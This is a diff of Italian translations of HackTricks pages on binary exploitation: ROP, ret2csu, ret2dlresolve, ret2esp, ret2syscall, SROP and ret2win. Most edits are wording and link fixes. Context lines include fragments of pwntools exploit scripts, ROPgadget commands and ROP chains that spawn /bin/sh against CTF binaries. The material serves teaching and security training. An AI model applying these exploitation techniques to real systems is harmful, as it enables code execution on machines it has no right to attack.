-> Poiché **x64 utilizza registri per i primi argomenti,** richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e dello spazio degli indirizzi più ampio nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
+> Poiché **x64 utilizza registri per i primi pochi argomenti,** richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e dello spazio degli indirizzi nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
 
 ## Esempio di catena ROP in ARM64
 
 ### **Nozioni di base ARM64 e convenzioni di chiamata**
 
-Controlla la pagina seguente per queste informazioni:
+Controlla la seguente pagina per queste informazioni:
 
 {{#ref}}
 ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@@ -154,8 +154,8 @@ Controlla la pagina seguente per queste informazioni:
 
 ## Protezioni contro ROP
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste protezioni rendono più difficile l'uso di ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In caso di un BOF, è necessario bypassare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Queste protezioni rendono più difficile l'uso di ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): In caso di un BOF, è necessario bypassare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP.
 - **Mancanza di Gadget**: Se non ci sono abbastanza gadget, non sarà possibile generare una catena ROP.
 
 ## Tecniche basate su ROP
@@ -168,7 +168,7 @@ Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basato su ROP,
 ret2lib/
 {{#endref}}
 
-- **Ret2Syscall**: Usa ROP per preparare una chiamata a una syscall, ad esempio `execve`, e farla eseguire comandi arbitrari.
+- **Ret2Syscall**: Usa ROP per preparare una chiamata a una syscall, ad esempio `execve`, e far eseguire comandi arbitrari.
 
 {{#ref}}
 rop-syscall-execv/

src/binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -6,7 +6,7 @@
 
 ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informazioni di base
 
-**ret2csu** è una tecnica di hacking utilizzata quando si cerca di prendere il controllo di un programma ma non si riesce a trovare i **gadgets** che si usano di solito per manipolare il comportamento del programma.
+**ret2csu** è una tecnica di hacking utilizzata quando stai cercando di prendere il controllo di un programma ma non riesci a trovare i **gadgets** che di solito usi per manipolare il comportamento del programma.
 
 Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come i diversi pezzi del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadgets mancanti, in particolare una chiamata `__libc_csu_init`.
 
@@ -35,7 +35,7 @@ mov rsi, r14;
 mov edi, r13d;
 call qword [r12 + rbx*8];
 ```
-3. Forse non conosci alcun indirizzo su cui scrivere e hai **bisogno di un'istruzione `ret`**. Nota che il secondo gadget terminerà anche con un **`ret`**, ma dovrai soddisfare alcune **condizioni** per raggiungerlo:
+3. Forse non conosci alcun indirizzo su cui scrivere e hai **bisogno di un'istruzione `ret`**. Nota che il secondo gadget terminerà anch'esso in un **`ret`**, ma dovrai soddisfare alcune **condizioni** per raggiungerlo:
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -65,7 +65,7 @@ gef➤  search-pattern 0x400560
 
 ## RDI e RSI
 
-Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a specifici offset:
+Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedervi tramite offset specifici:
 
 <figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
@@ -84,7 +84,7 @@ Immagina di voler effettuare una syscall o chiamare una funzione come `write()`
 Ecco dove entra in gioco **ret2csu**:
 
 1. **Imposta i Registri**: Usa il primo gadget magico per estrarre valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
-2. **Usa il Secondo Gadget**: Con quei registri impostati, usi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far chiamare al programma una funzione situata all'indirizzo che calcoli e posizioni in `[r15 + rbx*8]`.
+2. **Usa il Secondo Gadget**: Con quei registri impostati, utilizzi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far chiamare al programma una funzione situata all'indirizzo che calcoli e posizioni in `[r15 + rbx*8]`.
 
 Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che ha utilizzato:
 ```python
@@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Nota che l'exploit precedente non è destinato a fare un **`RCE`**, ma è destinato a chiamare solo una funzione chiamata **`win`** (prendendo l'indirizzo di `win` dall'input standard chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
+> Nota che l'exploit precedente non è destinato a fare un **`RCE`**, ma è destinato a chiamare una funzione chiamata **`win`** (prendendo l'indirizzo di `win` dall'input standard chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
 
 ### Bypassare la chiamata e raggiungere ret
 
-L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) dove il **ret2csu** è utilizzato ma invece di usare la chiamata, sta **bypassando i confronti e raggiungendo il `ret`** dopo la chiamata:
+L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) dove il **ret2csu** è utilizzato ma invece di usare la chiamata, **bypassa i confronti e raggiunge il `ret`** dopo la chiamata:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -167,6 +167,6 @@ target.interactive()
 ```
 ### Perché non usare direttamente libc?
 
-Di solito, questi casi sono vulnerabili anche a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**.
+Di solito, questi casi sono anche vulnerabili a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md

@@ -2,18 +2,18 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Informazioni di base
+## Informazioni di Base
 
 Come spiegato nella pagina su [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), i binari senza Full Relro risolveranno i simboli (come indirizzi a librerie esterne) la prima volta che vengono utilizzati. Questa risoluzione avviene chiamando la funzione **`_dl_runtime_resolve`**.
 
 La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti a alcune strutture di cui ha bisogno per **risolvere** il simbolo specificato.
 
-Pertanto, è possibile **falsificare tutte queste strutture** per far sì che la risoluzione dinamica colleghi il simbolo richiesto (come la funzione **`system`**) e la chiami con un parametro configurato (ad es. **`system('/bin/sh')`**).
+Pertanto, è possibile **falsificare tutte queste strutture** per far sì che il collegamento dinamico risolva il simbolo richiesto (come la funzione **`system`**) e chiamarla con un parametro configurato (ad es. **`system('/bin/sh')`**).
 
-Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che vengano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendola **risolvere l'indirizzo di `system`** nelle strutture falsificate e **chiamando questo indirizzo** con l'indirizzo a `$'/bin/sh'`.
+Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che siano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendola **risolvere l'indirizzo di `system`** nelle strutture false e **chiamando questo indirizzo** con l'indirizzo a `$'/bin/sh'`.
 
 > [!TIP]
-> Questa tecnica è particolarmente utile se non ci sono gadget syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) e non ci sono modi per fare leak degli indirizzi libc.
+> Questa tecnica è utile specialmente se non ci sono gadget syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/index.html) o [SROP](srop-sigreturn-oriented-programming/index.html)) e non ci sono modi per fare leak degli indirizzi libc.
 
 Guarda questo video per una bella spiegazione su questa tecnica nella seconda metà del video:
 
@@ -26,13 +26,13 @@ Oppure controlla queste pagine per una spiegazione passo-passo:
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
 
-## Riepilogo dell'attacco
+## Riepilogo dell'Attacco
 
 1. Scrivere strutture false in qualche luogo
 2. Impostare il primo argomento di system (`$rdi = &'/bin/sh'`)
 3. Impostare nello stack gli indirizzi alle strutture per chiamare **`_dl_runtime_resolve`**
 4. **Chiamare** `_dl_runtime_resolve`
-5. **`system`** verrà risolto e chiamato con `'/bin/sh'` come argomento
+5. **`system`** sarà risolto e chiamato con `'/bin/sh'` come argomento
 
 Dalla [**documentazione di pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), ecco come appare un attacco **`ret2dlresolve`**:
 ```python
@@ -188,6 +188,6 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
 - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
-- 32bit, no relro, no canary, nx, no pie, overflow di buffer piccolo e di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` di nuovo con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake `dlresolve` per caricare `system`, tornare a main e riutilizzare il bof iniziale per chiamare dlresolve e poi `system('/bin/sh')`.
+- 32bit, no relro, no canary, nx, no pie, overflow di buffer piccolo di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` di nuovo con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, tornare a main e riutilizzare il bof iniziale per chiamare dlresolve e poi `system('/bin/sh')`.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -6,7 +6,7 @@
 
 **Poiché l'ESP (Stack Pointer) punta sempre alla cima dello stack**, questa tecnica prevede di sostituire l'EIP (Instruction Pointer) con l'indirizzo di un'istruzione **`jmp esp`** o **`call esp`**. Facendo ciò, il shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando viene eseguita l'istruzione `ret`, l'ESP punta all'indirizzo successivo, precisamente dove è memorizzato il shellcode.
 
-Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) attivo, potrebbe essere necessario cercare all'interno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) attivo, potrebbe essere necessario cercare all'interno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
 Inoltre, essere in grado di posizionare il shellcode **dopo la corruzione dell'EIP**, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni `push` o `pop` eseguite durante l'operazione della funzione non interferiscano con il shellcode. Questa interferenza potrebbe verificarsi se il shellcode fosse posizionato nel mezzo dello stack della funzione.
 
@@ -17,7 +17,7 @@ Se ti manca spazio per scrivere dopo aver sovrascritto l'RIP (forse solo pochi b
 sub rsp, 0x30
 jmp rsp
 ```
-E scrivi il shellcode all'inizio dello stack.
+E scrivi lo shellcode all'inizio dello stack.
 
 ### Esempio
 
@@ -104,13 +104,13 @@ L'unico che ho scoperto cambierebbe il valore del registro dove sp è stato copi
 
 ### Ret2reg
 
-Se un registro ha un indirizzo interessante, è possibile saltare a esso semplicemente trovando l'istruzione adeguata. Potresti usare qualcosa come:
+Se un registro ha un indirizzo interessante, è possibile saltarci semplicemente trovando l'istruzione adeguata. Potresti usare qualcosa come:
 ```bash
 ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
 ```
 In ARM64, è **`x0`** che memorizza il valore di ritorno di una funzione, quindi potrebbe essere che x0 memorizzi l'indirizzo di un buffer controllato dall'utente con uno shellcode da eseguire.
 
-Esempio di codice:
+Example code:
 ```c
 // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
 
@@ -165,7 +165,7 @@ p.interactive()
 ## Protezioni
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo posizionare il shellcode nello stack e saltare per eseguirlo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Questi possono rendere più difficile trovare un'istruzione a cui saltare per esp o qualsiasi altro registro.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Questi possono rendere più difficile trovare un'istruzione a cui saltare per esp o qualsiasi altro registro.
 
 ## Riferimenti
 

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md

@@ -16,7 +16,7 @@ Per preparare la chiamata per la **syscall** è necessaria la seguente configura
 Quindi, fondamentalmente è necessario scrivere la stringa `/bin/sh` da qualche parte e poi eseguire la `syscall` (essendo consapevoli del padding necessario per controllare lo stack). Per questo, abbiamo bisogno di un gadget per scrivere `/bin/sh` in un'area conosciuta.
 
 > [!TIP]
-> Un'altra syscall interessante da chiamare è **`mprotect`** che consentirebbe a un attaccante di **modificare i permessi di una pagina in memoria**. Questo può essere combinato con [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> Un'altra syscall interessante da chiamare è **`mprotect`** che consentirebbe a un attaccante di **modificare i permessi di una pagina in memoria**. Questo può essere combinato con [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
 
 ## Gadget di registrazione
 
@@ -45,7 +45,7 @@ Start              End                Offset             Perm Path
 ```
 ### Scrivere stringa in memoria
 
-Poi devi trovare un modo per scrivere contenuti arbitrari in questo indirizzo.
+Poi devi trovare un modo per scrivere contenuto arbitrario in questo indirizzo
 ```python
 ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
 mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
@@ -94,7 +94,7 @@ rop += popRax
 rop += p64(0x6b6000) # Writable memory
 rop += writeGadget #Address to: mov qword ptr [rax], rdx
 ```
-## Gadget Mancanti
+## Gadget mancanti
 
 Se ti mancano **gadget**, ad esempio per scrivere `/bin/sh` in memoria, puoi utilizzare la **tecnica SROP per controllare tutti i valori dei registri** (inclusi RIP e registri dei parametri) dallo stack:
 
@@ -102,7 +102,7 @@ Se ti mancano **gadget**, ad esempio per scrivere `/bin/sh` in memoria, puoi uti
 ../srop-sigreturn-oriented-programming/
 {{#endref}}
 
-## Esempio di Exploit
+## Esempio di exploit
 ```python
 from pwn import *
 

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md

@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Informazioni di base
+## Informazioni di Base
 
-**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per gestire i segnali.
+**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per occuparsi dei segnali.
 
 Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
 
@@ -128,13 +128,13 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Assembly binary che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack un [**ret2syscall**](../rop-syscall-execv/) tramite una struttura **sigreturn** e leggere il flag che si trova nella memoria del binary.
+- Assembly binary che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack un [**ret2syscall**](../rop-syscall-execv/index.html) tramite una struttura **sigreturn** e leggere il flag che si trova nella memoria del binary.
 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Assembly binary che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack un [**ret2syscall**](../rop-syscall-execv/) tramite una struttura **sigreturn** (il binary ha la stringa `/bin/sh`).
+- Assembly binary che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack un [**ret2syscall**](../rop-syscall-execv/index.html) tramite una struttura **sigreturn** (il binary ha la stringa `/bin/sh`).
 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-- 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con mancanza di gadget che esegue un [**ret2syscall**](../rop-syscall-execv/). La catena ROP scrive `/bin/sh` nella `.bss` richiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax a `0xf` per chiamare un **SROP** ed eseguire una shell.
+- 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con mancanza di gadget che esegue un [**ret2syscall**](../rop-syscall-execv/index.html). La catena ROP scrive `/bin/sh` nella `.bss` richiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax a `0xf` per chiamare un **SROP** ed eseguire una shell.
 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è un `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario a `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione, quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà.
+- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è una `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario a `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà.
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
 - SROP è utilizzato per dare privilegi di esecuzione (memprotect) al luogo dove è stato posizionato un shellcode.
 

src/binary-exploitation/stack-overflow/README.md

@@ -2,13 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Cos'è uno Stack Overflow
+## Che cos'è uno Stack Overflow
 
-Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
+Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
 
 Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**.
 
-La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo quindi a sovrascrivere altre parti dello stack.
+La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo così a sovrascrivere altre parti dello stack.
 
 Alcune funzioni comuni vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read` & `memcpy`** che prendono un **argomento di lunghezza**, potrebbero essere utilizzate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.
 
@@ -57,7 +57,7 @@ Tuttavia, in altri scenari, potrebbe essere sufficiente **sovrascrivere alcuni v
 
 ### Ret2win
 
-In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sarebbe disabilitato) in modo che, quando la funzione vulnerabile restituisce, la funzione nascosta venga chiamata:
+In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sarebbe disabilitato) in modo che, quando la funzione vulnerabile restituisce, la funzione nascosta venga chiamata:
 
 {{#ref}}
 ret2win/

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -34,7 +34,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-m32`: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).
 - `-fno-stack-protector`: Disabilita le protezioni contro gli overflow dello stack.
 - `-z execstack`: Consenti l'esecuzione di codice nello stack.
-- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione per garantire che l'indirizzo della funzione `win` non cambi.
+- `-no-pie`: Disabilita l'eseguibile indipendente dalla posizione per garantire che l'indirizzo della funzione `win` non cambi.
 - `-o vulnerable`: Nomina il file di output `vulnerable`.
 
 ### Python Exploit usando Pwntools
@@ -63,14 +63,14 @@ Per trovare l'indirizzo della funzione `win`, puoi utilizzare **gdb**, **objdump
 ```sh
 objdump -d vulnerable | grep win
 ```
-Questo comando mostrerà l'assembly della funzione `win`, incluso il suo indirizzo di partenza. 
+Questo comando ti mostrerà l'assembly della funzione `win`, incluso il suo indirizzo di partenza. 
 
-Lo script Python invia un messaggio accuratamente progettato che, quando elaborato dalla `vulnerable_function`, provoca un overflow del buffer e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di `win`. Quando `vulnerable_function` restituisce, invece di tornare a `main` o uscire, salta a `win`, e il messaggio viene stampato.
+Lo script Python invia un messaggio accuratamente progettato che, quando elaborato dalla `vulnerable_function`, fa traboccare il buffer e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di `win`. Quando `vulnerable_function` restituisce, invece di tornare a `main` o uscire, salta a `win`, e il messaggio viene stampato.
 
 ## Protezioni
 
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni, altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa l'overflow è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona l'ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni, altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
 
 ## Altri esempi & Riferimenti
 
@@ -82,7 +82,7 @@ Lo script Python invia un messaggio accuratamente progettato che, quando elabora
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 - 64 bit, no ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
